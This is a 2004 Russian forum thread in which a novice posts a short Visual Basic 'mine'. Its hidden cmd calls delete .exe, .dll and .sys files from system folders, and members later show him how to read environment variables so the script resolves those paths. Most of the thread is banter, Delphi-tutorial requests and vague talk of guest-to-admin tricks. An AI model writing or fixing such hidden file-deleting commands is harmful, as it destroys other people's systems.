Конференция VBStreets

**Sonic the Hedgehog** » 12.12.2004 (Вс) 1:53

Всем привет, я вот решил написать на Vb мину
используюя при этом cmd
как вы думаете получитца?
вот код :
Shell "cmd /X /C %SYSTEMROOT%\del *.exe", vbHide
Shell "cmd /X /C %SYSTEMROOT%\del *.dll", vbHide
Shell "cmd /X /C %SYSTEMROOT%\del *.sys", vbHide
Shell "cmd /X /C %HOMEDRIVE%\del *.sys", vbHide
End Sub '
:?:

**Ruslan Demidow** » 12.12.2004 (Вс) 9:05

Sonic the Hedgehog писал(а):Всем привет, я вот решил написать на Vb мину
используюя при этом cmd
как вы думаете получитца?
вот код :
Shell "cmd /X /C %SYSTEMROOT%\del *.exe", vbHide
Shell "cmd /X /C %SYSTEMROOT%\del *.dll", vbHide
Shell "cmd /X /C %SYSTEMROOT%\del *.sys", vbHide
Shell "cmd /X /C %HOMEDRIVE%\del *.sys", vbHide
End Sub '

А ты на своей системе проверь...

А вообще - нефиг ерундой заниматься, лучше бы чего-нибудь толковое придумал... :evil:

**|kerish|** » 12.12.2004 (Вс) 10:04

Да получится-то должно, только нахрен это делать?
В инете подобной хрени навалом.
Пора вырастать и делать, что-нибудь полезное.

**Sonic the Hedgehog** » 12.12.2004 (Вс) 11:24

А на более полезное у меня мозгов не хватит
так как я недавно начал изучать VB конечно хотел на Delphi но учебников нет нигде нормальный
а на VB учебников полно, вот я и стал изучать VB

**GSerg** » 12.12.2004 (Вс) 11:44

А если я тебе вышлю pdf про дельфи, ты его будешь читать?

**xolod** » 12.12.2004 (Вс) 12:00

Прочитает и код мне поможет портировать... И ерудной заниматься не будет :lol:

**Dzhon** » 12.12.2004 (Вс) 12:29

Интересный ход мысли :!:

Если на хорошее мозгов не хватает, то обязательно навредить надо....... :evil:

В чем прикол-то :?:

**Sonic the Hedgehog** » 12.12.2004 (Вс) 13:00

Да у нас засранцев много в сети

а то что я написал это как ловушки для тараканов

ЛЮДИ, ПОМОГИТЕ МНЕ НАЙТИ УЧЕБНИКИ НА Delphi
БУДУ ОЧЕНЬ ПРИЗНАТЕЛЕН!

**xolod** » 12.12.2004 (Вс) 13:25

Тебе же GSerg предлагал учебник в PDF'хке.. Занимательный, надо сказать, учебничик.. Вообщем, пользуясь случаем еще раз благодарность GSerg'у за всовывание мне в почтовый ящик сей полезной литературы :wink:

**Sonic the Hedgehog** » 12.12.2004 (Вс) 13:25

GSerg писал(а):А если я тебе вышлю pdf про дельфи, ты его будешь читать?

Конечно! заранее спасибо
высылай plz сюда wowan_super111@rambler.ru

**Sonic the Hedgehog** » 12.12.2004 (Вс) 14:16

GSerg ты гиде? :?:

**Sonic the Hedgehog** » 12.12.2004 (Вс) 14:20

Gserg выщли пожалста pdf учебники по Делфи
wowan_super111@rambler.ru

**Amed** » 12.12.2004 (Вс) 15:08

Sonik, не волнуйся!

GSerg обязательно всё вышлет! )

**Sonic the Hedgehog** » 12.12.2004 (Вс) 15:11

Буду надеятся, просто хочу (аж сил нет) изучать програмирование на Delphi
а книгу по делфи покупать нехотца да и дороговата она

**GSerg** » 12.12.2004 (Вс) 17:08

А, так ты думаешь, что xolod стал бы меня благодарить за мануал на русском языке? Ничё подобного

**Sonic the Hedgehog** » 12.12.2004 (Вс) 18:21

Большое спасибо GSerg :dwarf:

**ALX_2002** » 12.12.2004 (Вс) 23:11

Прикольная прога.
Только вот если у тебя прав на запись на компе нету, то хрен чего ты сделаешь

Я вот например на компе сижу под Гостем. При чём настроенным, а проги инсталю под админом. А так у меня заблочены папки Program Files / Documents and Settings ( кроме ) и Windows.

Вот уже 2,5 года сижу практически без проблем. Недавно только парился с SP2 нелецензюшным.... Он меня скотина на комп пускать не хотел

.

А так паразитные проги меня не беспокоят. :roll:

**Sonic the Hedgehog** » 12.12.2004 (Вс) 23:35

Так ты чего под админом не заделаешься, Это же глупо под гостем сидеть
аль кто специально тебя заблокировал? :roll:

Если ты гость и хочешь сделатся админом но не могеш, то могу дать пару советов... :idea:

**tyomitch** » 12.12.2004 (Вс) 23:53

Ну давай советы, мне тоже интересно :-)

**Sonic the Hedgehog** » 13.12.2004 (Пн) 0:32

Да способы разнообразны как из гостя в админа привритится:
например попасть через панель управления "Учётные записи пользователей" это не возможо
за то возможно из другого места :wink:

Свойства "Мой компьютер" -> Дополнительно -> Параметры пользователей
и там жмёте ссылку и всё открывается
2. При помощи командной строки
команды писать не буду
спать я пошёл

**Sedge** » 13.12.2004 (Пн) 1:03

Я рыдаю...

**xolod** » 13.12.2004 (Пн) 1:20

Sonic the Hedgehog
Это у тебя шуточки такие или ты покурил чего? :scratch:

**Sonic the Hedgehog** » 13.12.2004 (Пн) 1:33

А что сдесь смешного ? :roll:

**xolod** » 13.12.2004 (Пн) 1:36

Твои "мегаспособы" увеличения прав в конкретной системе

**Sonic the Hedgehog** » 13.12.2004 (Пн) 1:39

Ну и ладно!!!!!!!!!! Ну и всё!!!!!!!!!!!!!! Больше не буду вам давать никаких полезных советов!

**tyomitch** » 13.12.2004 (Пн) 1:42

ЛОЛ

**Sonic the Hedgehog** » 13.12.2004 (Пн) 1:53

**Sonic the Hedgehog** » 13.12.2004 (Пн) 22:04

Только в этой мине единственая проблема
VB не понимает переменных

%SYTEMROOT% и т д

уже тест делал

**tyomitch** » 13.12.2004 (Пн) 22:23

Понимает-понимает.

Environ Function

Returns the String associated with an operating system environment variable.

GM » 14.12.2004 (Вт) 2:33

%SYTEMROOT% он точно не поймет

А это так для разнообразия:

Код: Выделить всё: Private Declare Function GetEnvironmentVariable Lib "kernel32" Alias "GetEnvironmentVariableA" (ByVal lpName As String, ByVal lpBuffer As String, ByVal nSize As Long) As Long Function GetEnvironmentVar(sName As String) As String GetEnvironmentVar = String(255, 0) GetEnvironmentVariable sName, GetEnvironmentVar, Len(GetEnvironmentVar) If InStr(1, GetEnvironmentVar, Chr$(0)) > 0 Then GetEnvironmentVar = Left$(GetEnvironmentVar, InStr(1, GetEnvironmentVar, Chr$(0)) - 1) End Function

Конференция VBStreets

Делаем мину

Делаем мину

гы...

гы

угу

?

!

!

!

!

!

!

!

!

Кто сейчас на конференции